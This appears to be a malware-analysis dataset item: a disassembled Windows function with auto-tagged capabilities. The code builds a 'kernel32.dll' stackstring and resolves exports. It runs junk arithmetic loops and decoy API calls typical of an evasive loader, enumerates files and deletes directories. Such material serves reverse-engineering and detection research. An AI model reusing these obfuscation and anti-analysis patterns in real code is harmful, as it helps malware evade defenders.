Function at 0x4053b0
Capabilities:
Contain obfuscated stackstrings
Delete directory
Enumerate files on windows
Get common file path
Get disk information
Resolve function by parsing pe exports
Set console window title

Disassembly:
push 0xffffffffffffffff
mov eax, dword fs:[0]
push 0x410b4b
push eax
mov eax, 0x1990
mov dword fs:[0], esp
call fcn.00406e30
push ebx
push ebp
push esi
push edi
xor edi, edi
cmp dword [0x47acdc], 0x16
jne 0x405446
push edi
call dword [sym.imp.KERNEL32.DLL__lclose]
push 0x4012a0
push edi
push edi
call dword [sym.imp.KERNEL32.DLL_OpenJobObjectW]
push edi
push edi
call dword [sym.imp.KERNEL32.DLL_FindNextFileW]
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_BackupEventLogA]
mov dword [esp + 0x198], 0xf
mov dword [esp + 0x194], edi
mov byte [esp + 0x184], 0
push edi
push edi
mov dword [esp + 0x19b0], edi
call fcn.0040698c
mov eax, esp
mov dword [eax], edi
mov dword [eax + 4], edi
call fcn.00406480
fstp st(0)
add esp, 8
mov dword [esp + 0x19a8], 0xffffffff
mov eax, 0xb2d3b
add dword [0x47acdc], eax
mov edx, 0x2e
mov word [0x47acf0], dx
mov edx, 0x6c
xor ecx, ecx
mov word [0x47acf6], dx
mov edx, dword [0x47acdc]
mov eax, 0x33
mov word [0x47acec], ax
mov word [0x47acf8], cx
mov ecx, dword [0x422184]
push edx
mov eax, 0x32
push edi
mov dword [0x47acf2], 0x6c0064
mov word [0x47acee], ax
mov dword [0x47ace0], 0x65006b
mov dword [0x47ace8], 0x6c0065
mov dword [0x47ace4], 0x6e0072
mov dword [0x480b74], ecx
call dword [sym.imp.KERNEL32.DLL_LocalAlloc]
mov dword [0x4777e0], eax
xor esi, esi
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.DLL_GetConsoleAliasA]
cmp esi, 0x11a6bc0
jge 0x406243
mov dword [esp + 0x180], 0xbe234aa
mov dword [esp + 0x54], 0x1f8107f4
mov dword [esp + 0xa0], 0x7518f495
mov dword [esp + 0x170], 0xac751fc
mov dword [esp + 0xb4], 0x384b7cf9
mov dword [esp + 0x70], 0x2024ad96
mov dword [esp + 0xc4], 0x4f35bb7b
mov dword [esp + 0x154], 0x22f4ded5
mov dword [esp + 0x174], 0x2014ba0a
mov dword [esp + 0x68], 0x5898e51b
mov dword [esp + 0x168], 0x4cc44330
mov dword [esp + 0x100], 0x19a3b26a
mov dword [esp + 0x124], 0x3fc10f62
mov dword [esp + 0xf4], 0x16d5debf
mov dword [esp + 0x24], 0x6b14ecdb
mov dword [esp + 0xac], 0x67e96a56
mov dword [esp + 0xf8], 0x6ee38a05
mov dword [esp + 0x15c], 0x682063c1
mov dword [esp + 0x130], 0x7f576e78
mov dword [esp + 0x60], 0x42d71384
mov dword [esp + 0xa4], 0x1063c61a
mov dword [esp + 0x44], 0x65c4d130
mov dword [esp + 0x11c], 0x76fef1b7
mov dword [esp + 0x160], 0x486109bf
mov dword [esp + 0x74], 0x66882249
mov dword [esp + 0x128], 0x6e596df6
mov dword [esp + 0x148], 0x6d2234ba
mov dword [esp + 0x140], 0x77dfa477
mov dword [esp + 0x98], 0x78b63005
mov dword [esp + 0x90], 0x577f764f
mov dword [esp + 0x88], 0x163d9f91
mov dword [esp + 0x58], 0x150f7f75
mov dword [esp + 0xdc], 0x707ac153
mov dword [esp + 0xec], 0x4dc1118
mov dword [esp + 0x12c], 0x9d44df3
mov dword [esp + 0x9c], 0xb555d0a
mov dword [esp + 0x104], 0x3da982ef
mov dword [esp + 0x34], 0x3f518a3f
mov dword [esp + 0x84], 0xdf3f09e
mov dword [esp + 0xf0], 0x7dc682be
mov dword [esp + 0xe4], 0x5dee1b5e
mov dword [esp + 0x10c], 0x74b397a8
mov dword [esp + 0x20], 0x3734f692
mov dword [esp + 0x50], 0x66ab260a
mov dword [esp + 0x6c], 0x7d89c090
mov dword [esp + 0x48], 0x156f9a1d
mov dword [esp + 0xd4], 0x295bbd08
mov dword [esp + 0xb8], 0x2c6959a0
mov dword [esp + 0x40], 0x1997376a
mov dword [esp + 0xe8], 0x592ce228
mov dword [esp + 0x158], 0x635012f3
mov dword [esp + 0x38], 0x634d6026
mov dword [esp + 0x14], 0x637a75c3
mov dword [esp + 0x1c], 0x2a02e208
mov dword [esp + 0x134], 0x74927845
mov dword [esp + 0x14c], 0x6223d6e9
mov dword [esp + 0x4c], 0x2b88d64f
mov dword [esp + 0x3c], 0x2198e0c3
mov dword [esp + 0xcc], 0x6078ed75
mov dword [esp + 0x2c], 0x107c5064
mov dword [esp + 0x64], 0x1a22fe5d
mov dword [esp + 0xb0], 0x5c26a74e
mov dword [esp + 0x138], 0x1d6a3d92
mov dword [esp + 0x178], 0x71c2b9bd
mov dword [esp + 0x18], 0x2062a5b2
mov dword [esp + 0xbc], 0x3f9edb1c
mov dword [esp + 0x30], 0x36c837b8
mov dword [esp + 0xe0], 0x18ca81e7
mov dword [esp + 0x80], 0x6da6b00d
mov dword [esp + 0x164], 0x41a0c346
mov dword [esp + 0x17c], 0x228e194b
mov dword [esp + 0x144], 0x58bf7c38
mov dword [esp + 0x10], 0x3902fbd8
mov dword [esp + 0x120], 0x6c851bad
mov dword [esp + 0x94], 0x7344d5a
mov dword [esp + 0xd8], 0x2c484782
mov dword [esp + 0x118], 0x6a98978c
mov dword [esp + 0x114], 0x579f8046
mov dword [esp + 0x8c], 0x6155292c
mov dword [esp + 0xa8], 0xaff7d8d
mov dword [esp + 0xfc], 0x561573d
mov dword [esp + 0xd0], 0xc6b9dff
mov dword [esp + 0x13c], 0x2cc98412
mov dword [esp + 0x7c], 0x244b6223
mov dword [esp + 0x5c], 0x6cc1797a
mov dword [esp + 0x78], 0x47bc7ac5
mov dword [esp + 0x16c], 0x385f4991
mov dword [esp + 0x28], 0x33403a88
mov dword [esp + 0xc8], 0x6bad1a6f
mov dword [esp + 0xc0], 0x6a1f63ed
mov dword [esp + 0x110], 0x5fb0efa0
mov dword [esp + 0x108], 0x482022a8
mov dword [esp + 0x150], 0x4d9df1d9
sub dword [esp + 0x180], 0x4642617a
sub dword [esp + 0x180], 0x15a116da
sub dword [esp + 0x180], 0x3531831a
sub dword [esp + 0x180], 0x4b749ab2
mov eax, 0xbce2978
mul dword [esp + 0x180]
mov eax, dword [esp + 0x180]
sub dword [esp + 0xa0], 0x3a6802f6
sub dword [esp + 0x180], 0x7be04c3e
sub dword [esp + 0x54], 0x3126e72c
sub dword [esp + 0x180], 0x4ace0012
sub dword [esp + 0xa0], 0x4ee77bd1
mov eax, 0xfca029e
mul dword [esp + 0x170]
mov eax, dword [esp + 0x170]
mov eax, 0x4590db6e
mul dword [esp + 0xb4]
mov eax, dword [esp + 0xb4]
sub dword [esp + 0x54], 0x1edb13e8
add dword [esp + 0x54], 0x3a36f784
add dword [esp + 0x170], 0x6196cadb
sub dword [esp + 0x180], 0xa725ccc
add dword [esp + 0xb4], 0x2e855194
sub dword [esp + 0xb4], 0x25279cc
sub dword [esp + 0x154], 0x1c031461
add dword [esp + 0x54], 0x4edd842e
mov eax, 0x2b2b1e71
mul dword [esp + 0x68]
mov eax, dword [esp + 0x68]
sub dword [esp + 0x170], 0x2988aff8
add dword [esp + 0xb4], 0x7952a4c6
add dword [esp + 0xc4], 0xf0a007
mov eax, 0x6f417d7c
mul dword [esp + 0x180]
mov eax, dword [esp + 0x180]
sub dword [esp + 0x68], 0x58826ae3
add dword [esp + 0x180], 0x7485da91
add dword [esp + 0x174], 0x2fc8bd85
add dword [esp + 0x168], 0x1653d2d6
mov eax, 0x78fa4b9a
mul dword [esp + 0xb4]
mov eax, dword [esp + 0xb4]
add dword [esp + 0xa0], 0xc3b02ae
mov eax, 0x1fa41996
mul dword [esp + 0x174]
mov eax, dword [esp + 0x174]
mov eax, 0x4ed847aa
mul dword [esp + 0xa0]
mov eax, dword [esp + 0xa0]
sub dword [esp + 0xf4], 0x58277537
add dword [esp + 0x180], 0x1681858d
sub dword [esp + 0x124], 0x32f465f0
sub dword [esp + 0xa4], 0x16b4254c
mov eax, 0x27aea99f
mul dword [esp + 0x24]
mov eax, dword [esp + 0x24]
sub dword [esp + 0x124], 0x7c3e8083
sub dword [esp + 0xb4], 0x2e27e839
sub dword [esp + 0x180], 0xe166b78
sub dword [esp + 0x130], 0x1e541d03
sub dword [esp + 0x160], 0x49221a4a
add dword [esp + 0x70], 0x3d6e03
add dword [esp + 0x160], 0x6284a989
sub dword [esp + 0x130], 0x3d0eb946
sub dword [esp + 0xf4], 0x4b63c215
sub dword [esp + 0x148], 0x4d6353ee
add dword [esp + 0x68], 0x5c8b0f52
sub dword [esp + 0xf8], 0xb7673a2
sub dword [esp + 0x74], 0x399462d6
sub dword [esp + 0xa0], 0x1f090e01
sub dword [esp + 0x70], 0x6b748e15
mov eax, 0x79b3863a
mul dword [esp + 0x130]
mov eax, dword [esp + 0x130]
mov eax, 0x56b8862d
mul dword [esp + 0x140]
mov eax, dword [esp + 0x140]
mov eax, 0x636677c8
mul dword [esp + 0x60]
mov eax, dword [esp + 0x60]
mov eax, 0x4a4350f7
mul dword [esp + 0x15c]
mov eax, dword [esp + 0x15c]
mov eax, 0x760c073b
mul dword [esp + 0x24]
mov eax, dword [esp + 0x24]
sub dword [esp + 0x170], 0xe899fff
add dword [esp + 0x124], 0x44d2b967
sub dword [esp + 0x100], 0x4818bcd7
mov eax, 0x2f2a5c52
mul dword [esp + 0x100]
mov eax, dword [esp + 0x100]
add dword [esp + 0x128], 0xda1c278
sub dword [esp + 0xa0], 0x21f5b911
add dword [esp + 0x68], 0x2d02f8d2
add dword [esp + 0x90], 0x2e549b4c
mov eax, 0x3c891ef5
mul dword [esp + 0x174]
mov eax, dword [esp + 0x174]
sub dword [esp + 0x130], 0x2c7111fa
mov eax, 0x63054cd5
mul dword [esp + 0xc4]
mov eax, dword [esp + 0xc4]
sub dword [esp + 0x148], 0x53ec4b59
mov eax, 0x58fdf4f1
mul dword [esp + 0x11c]
mov eax, dword [esp + 0x11c]
mov eax, 0x4cc3c5e2
mul dword [esp + 0x15c]
mov eax, dword [esp + 0x15c]
mov eax, 0x2e2191fa
mul dword [esp + 0x58]
mov eax, dword [esp + 0x58]
sub dword [esp + 0x74], 0x605010c8
add dword [esp + 0xdc], 0x1a0922c6
mov eax, 0x3ff8c66
mul dword [esp + 0x68]
mov eax, dword [esp + 0x68]
sub dword [esp + 0x124], 0x4b8d8c5a
add dword [esp + 0x90], 0x32db2c11
mov eax, 0x3ee843a4
mul dword [esp + 0x44]
mov eax, dword [esp + 0x44]
sub dword [esp + 0x100], 0x49e9d8c8
sub dword [esp + 0x70], 0x5d173099
add dword [esp + 0xa0], 0x43391d8
add dword [esp + 0x68], 0x5a1bc012
sub dword [esp + 0x180], 0x6ad2061
mov eax, 0xcc105d1
mul dword [esp + 0x54]
mov eax, dword [esp + 0x54]
sub dword [esp + 0x60], 0x694cfe76
sub dword [esp + 0x168], 0x4e1669a4
sub dword [esp + 0x68], 0x4284f36e
mov eax, 0x1cb464e0
mul dword [esp + 0x168]
mov eax, dword [esp + 0x168]
mov eax, 0x13bd95fd
mul dword [esp + 0xdc]
mov eax, dword [esp + 0xdc]
sub dword [esp + 0x170], 0x3ac217c0
add dword [esp + 0x54], 0x102da258
mov eax, 0x43c08df
mul dword [esp + 0x140]
mov eax, dword [esp + 0x140]
add dword [esp + 0xc4], 0x66faa213
sub dword [esp + 0x104], 0x197fd2e
add dword [esp + 0xec], 0x64076da3
sub dword [esp + 0x60], 0x276e8b22
mov eax, 0x5f223ba9
mul dword [esp + 0x54]
mov eax, dword [esp + 0x54]
mov eax, 0x30974435
mul dword [esp + 0xf8]
mov eax, dword [esp + 0xf8]
sub dword [esp + 0xec], 0x892e2f5
add dword [esp + 0x10c], 0x7b023dcb
mov eax, 0x4840e224
mul dword [esp + 0xac]
mov eax, dword [esp + 0xac]
sub dword [esp + 0xf8], 0x221d0bff
add dword [esp + 0xb4], 0x98ca61d
add dword [esp + 0x54], 0x1c5acf95
mov eax, 0x28972e19
mul dword [esp + 0x140]
mov eax, dword [esp + 0x140]
sub dword [esp + 0xc4], 0x1cba8d0b
mov eax, 0x22790044
mul dword [esp + 0x54]
mov eax, dword [esp + 0x54]
mov eax, 0x6427c799
mul dword [esp + 0xa0]
mov eax, dword [esp + 0xa0]
mov eax, 0x51a75031
mul dword [esp + 0x170]
mov eax, dword [esp + 0x170]
mov eax, 0x28783215
mul dword [esp + 0x98]
mov eax, dword [esp + 0x98]
add dword [esp + 0x100], 0x27dce411
sub dword [esp + 0x54], 0x6d06c83e
add dword [esp + 0x148], 0x69f4c018
sub dword [esp + 0x9c], 0x7580b133
add dword [esp + 0x9c], 0x4306b199
sub dword [esp + 0x34], 0xff3709b
add dword [esp + 0xf8], 0x56c6042d
add dword [esp + 0x10c], 0x732c4a9b
sub dword [esp + 0xb8], 0xb5b8930
add dword [esp + 0x70], 0x255f3a9c
mov eax, 0x54bfc31a
mul dword [esp + 0x24]
mov eax, dword [esp + 0x24]
add dword [esp + 0x1c], 0x579cd03a
sub dword [esp + 0xd4], 0x5f56a0b5
sub dword [esp + 0x11c], 0x31cf0d76
add dword [esp + 0x70], 0x7085977b
sub dword [esp + 0x60], 0x1ca6c0ea
sub dword [esp + 0x20], 0x505faa0c
sub dword [esp + 0x60], 0x176e81fd
mov eax, 0x602e2c24
mul dword [esp + 0x88]
mov eax, dword [esp + 0x88]
add dword [esp + 0x14], 0x261ae1e4
add dword [esp + 0xc4], 0x14917981
sub dword [esp + 0x140], 0x59fc7ef8
sub dword [esp + 0x34], 0x74d80540
add dword [esp + 0x50], 0x3a9c3e33
mov eax, 0x3b90eec5
mul dword [esp + 0x70]
mov eax, dword [esp + 0x70]
add dword [esp + 0x174], 0x32893938
add dword [esp + 0x2c], 0x572602c5
add dword [esp + 0x158], 0x27bab4ab
sub dword [esp + 0x3c], 0x700f13cf
sub dword [esp + 0x10c], 0x15111f90
sub dword [esp + 0xa0], 0x23d65abe
sub dword [esp + 0x3c], 0x6133cc6f
sub dword [esp + 0x18], 0x557879ba
sub dword [esp + 0x124], 0x65b4d216
add dword [esp + 0x128], 0x40fc51bd
sub dword [esp + 0x180], 0x38b5afd7
mov eax, 0x531be9a0
mul dword [esp + 0x170]
mov eax, dword [esp + 0x170]
add dword [esp + 0xb4], 0x67f5076b
mov eax, 0x4f222230
mul dword [esp + 0xec]
mov eax, dword [esp + 0xec]
sub dword [esp + 0xcc], 0x604e7cb9
sub dword [esp + 0xac], 0x295e8102
sub dword [esp + 0x58], 0x727209fe
sub dword [esp + 0x74], 0x2a093cef
sub dword [esp + 0xbc], 0x6fca45c3
add dword [esp + 0x134], 0x5729b9e7
mov eax, 0x5be1bc61
mul dword [esp + 0x98]
mov eax, dword [esp + 0x98]
mov eax, 0x7d2cc4a9
mul dword [esp + 0x124]
mov eax, dword [esp + 0x124]
sub dword [esp + 0x90], 0x2a0220ae
add dword [esp + 0xb0], 0x6783c1b9
mov eax, 0x4396d82c
mul dword [esp + 0xd4]
mov eax, dword [esp + 0xd4]
sub dword [esp + 0x14], 0x8cb5075
mov eax, 0x316115fb
mul dword [esp + 0x114]
mov eax, dword [esp + 0x114]
sub dword [esp + 0xa0], 0x757b4303
add dword [esp + 0xb4], 0x6f7974f7
mov eax, 0x210e5c59
mul dword [esp + 0x30]
mov eax, dword [esp + 0x30]
add dword [esp + 0xac], 0x32b210fc
sub dword [esp + 0xbc], 0x4ce4920e
add dword [esp + 0x40], 0x5fabb579
mov eax, 0x45e61084
mul dword [esp + 0x88]
mov eax, dword [esp + 0x88]
add dword [esp + 0x20], 0x6662f108
sub dword [esp + 0xe0], 0x4c9bdb18
mov eax, 0x5ef10ad2
mul dword [esp + 0x10c]
mov eax, dword [esp + 0x10c]
add dword [esp + 0xf8], 0x697e9e75
add dword [esp + 0x134], 0x41e381a3
sub dword [esp + 0x130], 0x330c2ead
sub dword [esp + 0x12c], 0xd6a65cb
add dword [esp + 0xb8], 0x258424e8
sub dword [esp + 0x1c], 0x375553f9
mov eax, 0x1e55fe8d
mul dword [esp + 0x164]
mov eax, dword [esp + 0x164]
mov eax, 0x79fbc987
mul dword [esp + 0xa0]
mov eax, dword [esp + 0xa0]
sub dword [esp + 0x130], 0x4116ec36
add dword [esp + 0xf8], 0x564418ad
sub dword [esp + 0x144], 0x49e1eac9
sub dword [esp + 0x30], 0x218bf3e5
add dword [esp + 0x90], 0x46e9550a
mov eax, 0x14400775
mul dword [esp + 0xb4]
mov eax, dword [esp + 0xb4]
add dword [esp + 0x50], 0x7168ef82
mov eax, 0x4514c22e
mul dword [esp + 0x138]
mov eax, dword [esp + 0x138]
add dword [esp + 0x80], 0x724bf9e9
sub dword [esp + 0x4c], 0x4a40e41
mov eax, 0x27258cba
mul dword [esp + 0xbc]
mov eax, dword [esp + 0xbc]
add dword [esp + 0x68], 0x4903b42d
add dword [esp + 0x100], 0x283ccd5a
add dword [esp + 0x14c], 0x681ca06e
sub dword [esp + 0x44], 0x1d24b1e3
add dword [esp + 0x104], 0x5823fec1
sub dword [esp + 0x100], 0x93dc3f2
add dword [esp + 0x88], 0x1392ca59
add dword [esp + 0x7c], 0x6ee62db2
sub dword [esp + 0x9c], 0x6e62fcc7
mov eax, 0x5feff61
mul dword [esp + 0x18]
mov eax, dword [esp + 0x18]
mov eax, 0x4177842b
mul dword [esp + 0x50]
mov eax, dword [esp + 0x50]
sub dword [esp + 0xf0], 0x5f1e74ae
add dword [esp + 0x174], 0x3a01ac3b
sub dword [esp + 0x44], 0x183f9b9c
mov eax, 0x7aa1a67e
mul dword [esp + 0xb8]
mov eax, dword [esp + 0xb8]
cmp esi, 0x1b3d817
jg 0x406258
inc esi
cmp esi, 0x13d54e64
jl 0x4054d1
call fcn.004052f0
mov edx, dword [0x480b74]
mov ecx, dword [0x4777e0]
push edi
call fcn.004052c0
mov esi, dword [sym.imp.KERNEL32.DLL_SetConsoleTitleA]
mov edi, dword [sym.imp.KERNEL32.DLL_GetConsoleAliasesLengthW]
mov ebp, dword [sym.imp.KERNEL32.DLL_GetCurrentDirectoryA]
mov ebx, dword [sym.imp.KERNEL32.DLL_GetVolumeInformationA]
xor eax, eax
mov dword [esp + 0x10], eax
lea ecx, [ecx]
mov ecx, dword [0x47acdc]
lea edx, [eax + ecx]
cmp edx, 0x5e
jne 0x406310
push 0
call esi
push 0
call edi
lea eax, [esp + 0x5a0]
push eax
push 0
call ebp
push 0
lea ecx, [esp + 0xda4]
push ecx
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x28]
push ecx
push 0
lea edx, [esp + 0x1b8]
push edx
push 0x4012e8
call ebx
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x14]
push 0
push 0
push eax
lea ecx, [esp + 0x9ac]
push ecx
push edx
push 0
call dword [sym.imp.KERNEL32.DLL_FindFirstFileExA]
push 0
push 0
lea eax, [esp + 0x11a8]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpynW]
mov eax, dword [esp + 0x10]
inc eax
mov dword [esp + 0x10], eax
cmp eax, 0x40c893
jl 0x406290
mov edx, dword [0x47acdc]
mov ecx, dword [0x4777e0]
push 0x421888
call fcn.00405180
mov ecx, 0x4777e0
call fcn.004052a0
mov esi, dword [sym.imp.KERNEL32.DLL_RemoveDirectoryW]
mov edi, dword [sym.imp.KERNEL32.DLL_FindNextChangeNotification]
mov ebx, dword [sym.imp.KERNEL32.DLL_GetSystemDefaultLangID]
mov ebp, 0x7b
cmp dword [0x47acdc], 0xd
jne 0x406372
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_LocalAlloc]
push 0
call edi
cmp dword [0x47acdc], 0xf
jne 0x40638b
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_GetConsoleAliasA]
call ebx
dec ebp
jne 0x406357
call fcn.00404f20
call fcn.00405370
mov ecx, dword [esp + 0x19a0]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x199c
ret